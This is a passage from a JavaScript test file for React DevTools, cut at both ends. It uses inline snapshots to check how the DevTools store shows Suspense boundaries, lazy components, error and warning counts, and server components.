<Child />;\n      const Child = () => null;\n\n      await act(() => render(<SuspenseTree />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <SuspenseTree>\n        [suspense-root]  rects={null}\n          <Suspense name=\"SuspenseTree\" uniqueSuspenders={false} rects={null}>\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),\n      );\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(1), false),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <SuspenseTree>\n            ▾ <Suspense>\n              ▸ <Parent>\n        [suspense-root]  rects={null}\n          <Suspense name=\"SuspenseTree\" uniqueSuspenders={false} rects={null}>\n      `);\n\n      const rendererID = getRendererID();\n      const suspenseID = store.getElementIDAtIndex(1);\n\n      await act(() =>\n        agent.overrideSuspense({\n          id: suspenseID,\n          rendererID,\n          forceFallback: true,\n        }),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <SuspenseTree>\n            ▾ <Suspense>\n                <Fallback>\n        [suspense-root]  rects={null}\n          <Suspense name=\"SuspenseTree\" uniqueSuspenders={false} rects={null}>\n      `);\n\n      await act(() =>\n        agent.overrideSuspense({\n          id: suspenseID,\n          rendererID,\n          forceFallback: false,\n        }),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <SuspenseTree>\n            ▾ <Suspense>\n              ▸ <Parent>\n        [suspense-root]  rects={null}\n          <Suspense name=\"SuspenseTree\" uniqueSuspenders={false} rects={null}>\n      `);\n    });\n  });\n\n  describe('getIndexOfElementID', () => {\n    beforeEach(() => {\n      store.collapseNodesByDefault = false;\n    });\n\n    // @reactVersion >= 18.0\n    it('should support a single root with a single child', async () => {\n      const Grandparent = () => (\n        <React.Fragment>\n          <Parent />\n          <Parent />\n        </React.Fragment>\n      );\n      const Parent = () => <Child />;\n      const Child = () => null;\n\n      await act(() => render(<Grandparent />));\n\n      for (let i = 0; i < store.numElements; i++) {\n        expect(store.getIndexOfElementID(store.getElementIDAtIndex(i))).toBe(i);\n      }\n    });\n\n    // @reactVersion >= 18.0\n    it('should support multiple roots with one children each', async () => {\n      const Grandparent = () => <Parent />;\n      const Parent = () => <Child />;\n      const Child = () => null;\n\n      await act(() => {\n        render(<Grandparent />);\n        render(<Grandparent />);\n      });\n\n      for (let i = 0; i < store.numElements; i++) {\n        expect(store.getIndexOfElementID(store.getElementIDAtIndex(i))).toBe(i);\n      }\n    });\n\n    // @reactVersion >= 18.0\n    it('should support a single root with multiple top level children', async () => {\n      const Grandparent = () => <Parent />;\n      const Parent = () => <Child />;\n      const Child = () => null;\n\n      await act(() =>\n        render(\n          <React.Fragment>\n            <Grandparent />\n            <Grandparent />\n          </React.Fragment>,\n        ),\n      );\n\n      for (let i = 0; i < store.numElements; i++) {\n        expect(store.getIndexOfElementID(store.getElementIDAtIndex(i))).toBe(i);\n      }\n    });\n\n    // @reactVersion >= 18.0\n    it('should support multiple roots with multiple top level children', async () => {\n      const Grandparent = () => <Parent />;\n      const Parent = () => <Child />;\n      const Child = () => null;\n\n      await act(() => {\n        render(\n          <React.Fragment>\n            <Grandparent />\n            <Grandparent />\n          </React.Fragment>,\n        );\n\n        createContainer();\n\n        render(\n          <React.Fragment>\n            <Grandparent />\n            <Grandparent />\n          </React.Fragment>,\n        );\n      });\n\n      for (let i = 0; i < store.numElements; i++) {\n        expect(store.getIndexOfElementID(store.getElementIDAtIndex(i))).toBe(i);\n      }\n    });\n  });\n\n  // @reactVersion >= 18.0\n  // @reactVersion < 19\n  // @gate !disableLegacyMode\n  it('detects and updates profiling support based on the attached roots (legacy render)', async () => {\n    const Component = () => null;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n\n    expect(store.rootSupportsBasicProfiling).toBe(false);\n\n    await act(() => legacyRender(<Component />, containerA));\n    expect(store.rootSupportsBasicProfiling).toBe(true);\n\n    await act(() => legacyRender(<Component />, containerB));\n    await act(() => ReactDOM.unmountComponentAtNode(containerA));\n    expect(store.rootSupportsBasicProfiling).toBe(true);\n\n    await act(() => ReactDOM.unmountComponentAtNode(containerB));\n    expect(store.rootSupportsBasicProfiling).toBe(false);\n  });\n\n  // @reactVersion >= 18\n  it('detects and updates profiling support based on the attached roots (createRoot)', async () => {\n    const Component = () => null;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n\n    const rootA = ReactDOMClient.createRoot(containerA);\n    const rootB = ReactDOMClient.createRoot(containerB);\n\n    expect(store.rootSupportsBasicProfiling).toBe(false);\n\n    await act(() => rootA.render(<Component />));\n    expect(store.rootSupportsBasicProfiling).toBe(true);\n\n    await act(() => rootB.render(<Component />));\n    await act(() => rootA.unmount());\n    expect(store.rootSupportsBasicProfiling).toBe(true);\n\n    await act(() => rootB.unmount());\n    expect(store.rootSupportsBasicProfiling).toBe(false);\n  });\n\n  // @reactVersion >= 18.0\n  it('should properly serialize non-string key values', async () => {\n    const Child = () => null;\n\n    // Bypass React element's automatic stringifying of keys intentionally.\n    // This is pretty hacky.\n    const fauxElement = Object.assign({}, <Child />, {key: 123});\n\n    await act(() => render([fauxElement]));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Child key=\"123\">\n    `);\n  });\n\n  it('should show the right display names for special component types', async () => {\n    const MyComponent = (props, ref) => null;\n    const ForwardRefComponent = React.forwardRef(MyComponent);\n    const MyComponent2 = (props, ref) => null;\n    const ForwardRefComponentWithAnonymousFunction = React.forwardRef(() => (\n      <MyComponent2 />\n    ));\n    const MyComponent3 = (props, ref) => null;\n    const ForwardRefComponentWithCustomDisplayName =\n      React.forwardRef(MyComponent3);\n    ForwardRefComponentWithCustomDisplayName.displayName = 'Custom';\n    const MyComponent4 = (props, ref) => null;\n    const MemoComponent = React.memo(MyComponent4);\n    const MemoForwardRefComponent = React.memo(ForwardRefComponent);\n\n    const FakeHigherOrderComponent = () => null;\n    FakeHigherOrderComponent.displayName = 'withFoo(withBar(Baz))';\n\n    const MemoizedFakeHigherOrderComponent = React.memo(\n      FakeHigherOrderComponent,\n    );\n    const ForwardRefFakeHigherOrderComponent = React.forwardRef(\n      FakeHigherOrderComponent,\n    );\n\n    const MemoizedFakeHigherOrderComponentWithDisplayNameOverride = React.memo(\n      FakeHigherOrderComponent,\n    );\n    MemoizedFakeHigherOrderComponentWithDisplayNameOverride.displayName =\n      'memoRefOverride';\n    const ForwardRefFakeHigherOrderComponentWithDisplayNameOverride =\n      React.forwardRef(FakeHigherOrderComponent);\n    ForwardRefFakeHigherOrderComponentWithDisplayNameOverride.displayName =\n      'forwardRefOverride';\n\n    const App = () => (\n      <React.Fragment>\n        <MyComponent />\n        <ForwardRefComponent />\n        <ForwardRefComponentWithAnonymousFunction />\n        <ForwardRefComponentWithCustomDisplayName />\n        <MemoComponent />\n        <MemoForwardRefComponent />\n        <FakeHigherOrderComponent />\n        <MemoizedFakeHigherOrderComponent />\n        <ForwardRefFakeHigherOrderComponent />\n        <MemoizedFakeHigherOrderComponentWithDisplayNameOverride />\n        <ForwardRefFakeHigherOrderComponentWithDisplayNameOverride />\n      </React.Fragment>\n    );\n\n    // Render once to start fetching the lazy component\n    await act(() => render(<App />));\n\n    await Promise.resolve();\n\n    // Render again after it resolves\n    await act(() => render(<App />));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n            <MyComponent>\n            <MyComponent> [ForwardRef]\n          ▾ <Anonymous> [ForwardRef]\n              <MyComponent2>\n            <Custom>\n            <MyComponent4> [Memo]\n          ▾ <MyComponent> [Memo]\n              <MyComponent> [ForwardRef]\n            <Baz> [withFoo][withBar]\n            <Baz> [Memo][withFoo][withBar]\n            <Baz> [ForwardRef][withFoo][withBar]\n            <memoRefOverride>\n            <forwardRefOverride>\n    `);\n  });\n\n  describe('Lazy', () => {\n    async function fakeImport(result) {\n      return {default: result};\n    }\n\n    const LazyInnerComponent = () => null;\n\n    const App = ({renderChildren}) => {\n      if (renderChildren) {\n        return (\n          <React.Suspense fallback=\"Loading...\">\n            <LazyComponent />\n          </React.Suspense>\n        );\n      } else {\n        return null;\n      }\n    };\n\n    let LazyComponent;\n    beforeEach(() => {\n      LazyComponent = React.lazy(() => fakeImport(LazyInnerComponent));\n    });\n\n    // @reactVersion >= 18.0\n    // @reactVersion < 19\n    // @gate !disableLegacyMode\n    it('should support Lazy components (legacy render)', async () => {\n      const container = document.createElement('div');\n\n      // Render once to start fetching the lazy component\n      await act(() => legacyRender(<App renderChildren={true} />, container));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Suspense>\n      `);\n\n      await Promise.resolve();\n\n      // Render again after it resolves\n      await act(() => legacyRender(<App renderChildren={true} />, container));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▾ <Suspense>\n                <LazyInnerComponent>\n      `);\n\n      // Render again to unmount it\n      await act(() => legacyRender(<App renderChildren={false} />, container));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <App>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support Lazy components in (createRoot)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      // Render once to start fetching the lazy component\n      await act(() => root.render(<App renderChildren={true} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Suspense>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      await Promise.resolve();\n\n      // Render again after it resolves\n      await act(() => root.render(<App renderChildren={true} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▾ <Suspense>\n                <LazyInnerComponent>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      // Render again to unmount it\n      await act(() => root.render(<App renderChildren={false} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <App>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    // @reactVersion < 19\n    // @gate !disableLegacyMode\n    it('should support Lazy components that are unmounted before they finish loading (legacy render)', async () => {\n      const container = document.createElement('div');\n\n      // Render once to start fetching the lazy component\n      await act(() => legacyRender(<App renderChildren={true} />, container));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Suspense>\n      `);\n\n      // Render again to unmount it before it finishes loading\n      await act(() => legacyRender(<App renderChildren={false} />, container));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <App>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    // @reactVersion < 19\n    it('should support Lazy components that are unmounted before they finish loading in (createRoot)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      // Render once to start fetching the lazy component\n      await act(() => root.render(<App renderChildren={true} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Suspense>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" rects={null}>\n      `);\n\n      // Render again to unmount it before it finishes loading\n      await act(() => root.render(<App renderChildren={false} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <App>\n      `);\n    });\n  });\n\n  describe('inline errors and warnings', () => {\n    // @reactVersion >= 18.0\n    it('during render are counted', async () => {\n      function Example() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() => render(<Example />));\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n            <Example> ✕⚠\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() => render(<Example rerender={1} />));\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <Example> ✕⚠\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('during layout get counted', async () => {\n      function Example() {\n        React.useLayoutEffect(() => {\n          console.error('test-only: layout error');\n          console.warn('test-only: layout warning');\n        });\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() => render(<Example />));\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n            <Example> ✕⚠\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() => render(<Example rerender={1} />));\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <Example> ✕⚠\n      `);\n    });\n\n    describe('during passive effects', () => {\n      function flushPendingBridgeOperations() {\n        jest.runOnlyPendingTimers();\n      }\n\n      // @reactVersion >= 18.0\n      it('are counted (after no delay)', async () => {\n        function Example() {\n          React.useEffect(() => {\n            console.error('test-only: passive error');\n            console.warn('test-only: passive warning');\n          });\n          return null;\n        }\n\n        withErrorsOrWarningsIgnored(['test-only:'], async () => {\n          await act(() => {\n            render(<Example />);\n          }, false);\n        });\n        flushPendingBridgeOperations();\n        expect(store).toMatchInlineSnapshot(`\n          ✕ 1, ⚠ 1\n          [root]\n              <Example> ✕⚠\n        `);\n\n        await act(() => unmount());\n        expect(store).toMatchInlineSnapshot(``);\n      });\n\n      // @reactVersion >= 18.0\n      it('are flushed early when there is a new commit', async () => {\n        function Example() {\n          React.useEffect(() => {\n            console.error('test-only: passive error');\n            console.warn('test-only: passive warning');\n          });\n          return null;\n        }\n\n        function Noop() {\n          return null;\n        }\n\n        withErrorsOrWarningsIgnored(['test-only:'], () => {\n          act(() => {\n            render(\n              <>\n                <Example />\n              </>,\n            );\n          }, false);\n          flushPendingBridgeOperations();\n          expect(store).toMatchInlineSnapshot(`\n            ✕ 1, ⚠ 1\n            [root]\n                <Example> ✕⚠\n          `);\n\n          // Before warnings and errors have flushed, flush another commit.\n          act(() => {\n            render(\n              <>\n                <Example />\n                <Noop />\n              </>,\n            );\n          }, false);\n          flushPendingBridgeOperations();\n          expect(store).toMatchInlineSnapshot(`\n            ✕ 2, ⚠ 2\n            [root]\n                <Example> ✕⚠\n                <Noop>\n          `);\n        });\n\n        await act(() => unmount());\n        expect(store).toMatchInlineSnapshot(``);\n      });\n    });\n\n    // In React 19, JSX warnings were moved into the renderer - https://github.com/facebook/react/pull/29088\n    // The warning is moved to the Child instead of the Parent.\n    // @reactVersion >= 19.0.1\n    it('from react get counted [React >= 19.0.1]', async () => {\n      function Example() {\n        return [<Child />];\n      }\n      function Child() {\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(\n        ['Each child in a list should have a unique \"key\" prop'],\n        () => {\n          act(() => render(<Example />));\n        },\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n          ▾ <Example>\n              <Child> ✕\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    // @reactVersion < 19.0\n    it('from react get counted [React 18.x]', async () => {\n      function Example() {\n        return [<Child />];\n      }\n      function Child() {\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(\n        ['Each child in a list should have a unique \"key\" prop'],\n        () => {\n          act(() => render(<Example />));\n        },\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n          ▾ <Example> ✕\n              <Child>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('can be cleared for the whole app', async () => {\n      function Example() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() =>\n          render(\n            <React.Fragment>\n              <Example />\n              <Example />\n            </React.Fragment>,\n          ),\n        );\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <Example> ✕⚠\n            <Example> ✕⚠\n      `);\n\n      const {\n        clearErrorsAndWarnings,\n      } = require('react-devtools-shared/src/backendAPI');\n      clearErrorsAndWarnings({bridge, store});\n\n      // flush events to the renderer\n      jest.runAllTimers();\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <Example>\n            <Example>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('can be cleared for particular Fiber (only warnings)', async () => {\n      function Example() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() =>\n          render(\n            <React.Fragment>\n              <Example />\n              <Example />\n            </React.Fragment>,\n          ),\n        );\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <Example> ✕⚠\n            <Example> ✕⚠\n      `);\n\n      const id = ((store.getElementIDAtIndex(1): any): number);\n      const rendererID = store.getRendererIDForElement(id);\n\n      const {\n        clearWarningsForElement,\n      } = require('react-devtools-shared/src/backendAPI');\n      clearWarningsForElement({bridge, id, rendererID});\n\n      // Flush events to the renderer.\n      jest.runAllTimers();\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 1\n        [root]\n            <Example> ✕⚠\n            <Example> ✕\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('can be cleared for a particular Fiber (only errors)', async () => {\n      function Example() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() =>\n          render(\n            <React.Fragment>\n              <Example />\n              <Example />\n            </React.Fragment>,\n          ),\n        );\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <Example> ✕⚠\n            <Example> ✕⚠\n      `);\n\n      const id = ((store.getElementIDAtIndex(1): any): number);\n      const rendererID = store.getRendererIDForElement(id);\n\n      const {\n        clearErrorsForElement,\n      } = require('react-devtools-shared/src/backendAPI');\n      clearErrorsForElement({bridge, id, rendererID});\n\n      // Flush events to the renderer.\n      jest.runAllTimers();\n\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n            <Example> ✕⚠\n            <Example> ⚠\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('are updated when fibers are removed from the tree', async () => {\n      function ComponentWithWarning() {\n        console.warn('test-only: render warning');\n        return null;\n      }\n      function ComponentWithError() {\n        console.error('test-only: render error');\n        return null;\n      }\n      function ComponentWithWarningAndError() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() =>\n          render(\n            <React.Fragment>\n              <ComponentWithError />\n              <ComponentWithWarning />\n              <ComponentWithWarningAndError />\n            </React.Fragment>,\n          ),\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <ComponentWithError> ✕\n            <ComponentWithWarning> ⚠\n            <ComponentWithWarningAndError> ✕⚠\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() =>\n          render(\n            <React.Fragment>\n              <ComponentWithWarning />\n              <ComponentWithWarningAndError />\n            </React.Fragment>,\n          ),\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n            <ComponentWithWarning> ⚠\n            <ComponentWithWarningAndError> ✕⚠\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() =>\n          render(\n            <React.Fragment>\n              <ComponentWithWarning />\n            </React.Fragment>,\n          ),\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 2\n        [root]\n            <ComponentWithWarning> ⚠\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await act(() => render(<React.Fragment />));\n      });\n      expect(store).toMatchInlineSnapshot(``);\n      expect(store.componentWithErrorCount).toBe(0);\n      expect(store.componentWithWarningCount).toBe(0);\n    });\n\n    // Regression test for https://github.com/facebook/react/issues/23202\n    // @reactVersion >= 18.0\n    it('suspense boundary children should not double unmount and error', async () => {\n      async function fakeImport(result) {\n        return {default: result};\n      }\n\n      const ChildA = () => null;\n      const ChildB = () => null;\n\n      const LazyChildA = React.lazy(() => fakeImport(ChildA));\n      const LazyChildB = React.lazy(() => fakeImport(ChildB));\n\n      function App({renderA}) {\n        return (\n          <React.Suspense>\n            {renderA ? <LazyChildA /> : <LazyChildB />}\n          </React.Suspense>\n        );\n      }\n\n      await actAsync(() => render(<App renderA={true} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▾ <Suspense>\n                <ChildA>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      await actAsync(() => render(<App renderA={false} />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▾ <Suspense>\n                <ChildB>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n    });\n  });\n\n  // @reactVersion > 18.2\n  it('does not show server components without any children reified children', async () => {\n    // A Server Component that doesn't render into anything on the client doesn't show up.\n    const ServerPromise = Promise.resolve(null);\n    ServerPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const App = () => ServerPromise;\n\n    await actAsync(() => render(<App />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <App>\n    `);\n  });\n\n  // @reactVersion > 18.2\n  it('does show a server component that renders into a filtered node', async () => {\n    const ServerPromise = Promise.resolve(<div />);\n    ServerPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const App = () => ServerPromise;\n\n    await actAsync(() => render(<App />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n            <ServerComponent> [Server]\n    `);\n  });\n\n  it('can render the same server component twice', async () => {\n    function ClientComponent() {\n      return <div />;\n    }\n    const ServerPromise = Promise.resolve(<ClientComponent />);\n    ServerPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const App = () => (\n      <>\n        {ServerPromise}\n        <ClientComponent />\n        {ServerPromise}\n      </>\n    );\n\n    await actAsync(() => render(<App />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n            <ClientComponent>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n    `);\n  });\n\n  // @reactVersion > 18.2\n  it('collapses multiple parent server components into one', async () => {\n    function ClientComponent() {\n      return <div />;\n    }\n    const ServerPromise = Promise.resolve(<ClientComponent />);\n    ServerPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const ServerPromise2 = Promise.resolve(<ClientComponent />);\n    ServerPromise2._debugInfo = [\n      {\n        name: 'ServerComponent2',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const App = ({initial}) => (\n      <>\n        {ServerPromise}\n        {ServerPromise}\n        {ServerPromise2}\n        {initial ? null : ServerPromise2}\n      </>\n    );\n\n    await actAsync(() => render(<App initial={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n              <ClientComponent>\n          ▾ <ServerComponent2> [Server]\n              <ClientComponent>\n    `);\n\n    await actAsync(() => render(<App initial={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n              <ClientComponent>\n          ▾ <ServerComponent2> [Server]\n              <ClientComponent>\n              <ClientComponent>\n    `);\n  });\n\n  // @reactVersion > 18.2\n  it('can reparent a child when the server components change', async () => {\n    function ClientComponent() {\n      return <div />;\n    }\n    const ServerPromise = Promise.resolve(<ClientComponent />);\n    ServerPromise._debugInfo = [\n      {\n        name: 'ServerAB',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const ServerPromise2 = Promise.resolve(<ClientComponent />);\n    ServerPromise2._debugInfo = [\n      {\n        name: 'ServerA',\n        env: 'Server',\n        owner: null,\n      },\n      {\n        name: 'ServerB',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const App = ({initial}) => (initial ? ServerPromise : ServerPromise2);\n\n    await actAsync(() => render(<App initial={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerAB> [Server]\n              <ClientComponent>\n    `);\n\n    await actAsync(() => render(<App initial={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerA> [Server]\n            ▾ <ServerB> [Server]\n                <ClientComponent>\n    `);\n  });\n\n  // @reactVersion > 18.2\n  it('splits a server component parent when a different child appears between', async () => {\n    function ClientComponent() {\n      return <div />;\n    }\n    const ServerPromise = Promise.resolve(<ClientComponent />);\n    ServerPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const App = ({initial}) =>\n      initial ? (\n        <>\n          {ServerPromise}\n          {null}\n          {ServerPromise}\n        </>\n      ) : (\n        <>\n          {ServerPromise}\n          <ClientComponent />\n          {ServerPromise}\n        </>\n      );\n\n    await actAsync(() => render(<App initial={true} />));\n    // Initially the Server Component only appears once because the children\n    // are consecutive.\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n              <ClientComponent>\n    `);\n\n    // Later the same instance gets split into two when it is no longer\n    // consecutive so we need two virtual instances to represent two parents.\n    await actAsync(() => render(<App initial={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n            <ClientComponent>\n          ▾ <ServerComponent> [Server]\n              <ClientComponent>\n    `);\n  });\n\n  // @reactVersion > 18.2\n  it('can reorder keyed server components', async () => {\n    function ClientComponent({text}) {\n      return <div>{text}</div>;\n    }\n    function getServerComponent(key) {\n      const ServerPromise = Promise.resolve(\n        <ClientComponent key={key} text={key} />,\n      );\n      ServerPromise._debugInfo = [\n        {\n          name: 'ServerComponent',\n          env: 'Server',\n          owner: null,\n          key: key,\n        },\n      ];\n      return ServerPromise;\n    }\n    const set1 = ['A', 'B', 'C'].map(getServerComponent);\n    const set2 = ['B', 'A', 'D'].map(getServerComponent);\n\n    const App = ({initial}) => (initial ? set1 : set2);\n\n    await actAsync(() => render(<App initial={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent key=\"A\"> [Server]\n              <ClientComponent key=\"A\">\n          ▾ <ServerComponent key=\"B\"> [Server]\n              <ClientComponent key=\"B\">\n          ▾ <ServerComponent key=\"C\"> [Server]\n              <ClientComponent key=\"C\">\n      `);\n\n    await actAsync(() => render(<App initial={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ServerComponent key=\"B\"> [Server]\n              <ClientComponent key=\"B\">\n          ▾ <ServerComponent key=\"A\"> [Server]\n              <ClientComponent key=\"A\">\n          ▾ <ServerComponent key=\"D\"> [Server]\n              <ClientComponent key=\"D\">\n      `);\n  });\n\n  // @reactVersion >= 19.0\n  it('does not duplicate Server Component parents in keyed Fragments', async () => {\n    // TODO: Use an actual Flight renderer.\n    // See ReactFlight-test for the produced JSX from Flight.\n    function ClientComponent() {\n      return null;\n    }\n    // This used to be a keyed Fragment on the Server.\n    const children = [<ClientComponent key=\"app\" />];\n    children._debugInfo = [\n      {time: 12},\n      {\n        name: 'App',\n        env: 'Server',\n        key: null,\n        stack: '    in Object.<anonymous> (at **)',\n        props: {},\n      },\n      {time: 13},\n    ];\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await actAsync(() => {\n      root.render([children]);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App> [Server]\n            <ClientComponent key=\"app\">\n    `);\n  });\n\n  // @reactVersion >= 17.0\n  it('can reconcile Suspense in fallback positions', async () => {\n    let resolveFallback;\n    const fallbackPromise = new Promise(resolve => {\n      resolveFallback = resolve;\n    });\n    let resolveContent;\n    const contentPromise = new Promise(resolve => {\n      resolveContent = resolve;\n    });\n\n    function Component({children, promise}) {\n      if (promise) {\n        readValue(promise);\n      }\n      return <div>{children}</div>;\n    }\n\n    await actAsync(() =>\n      render(\n        <React.Suspense\n          name=\"content\"\n          fallback={\n            <React.Suspense\n              name=\"fallback\"\n              fallback={\n                <Component key=\"fallback-fallback\">\n                  Loading fallback...\n                </Component>\n              }>\n              <Component key=\"fallback-content\" promise={fallbackPromise}>\n                Loading...\n              </Component>\n            </React.Suspense>\n          }>\n          <Component key=\"content\" promise={contentPromise}>\n            done\n          </Component>\n        </React.Suspense>,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"content\">\n          ▾ <Suspense name=\"fallback\">\n              <Component key=\"fallback-fallback\">\n      [suspense-root]  rects={[{x:1,y:2,width:19,height:1}]}\n        <Suspense name=\"content\" uniqueSuspenders={true} rects={null}>\n        <Suspense name=\"fallback\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    await actAsync(() => {\n      resolveFallback();\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"content\">\n          ▾ <Suspense name=\"fallback\">\n              <Component key=\"fallback-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}\n        <Suspense 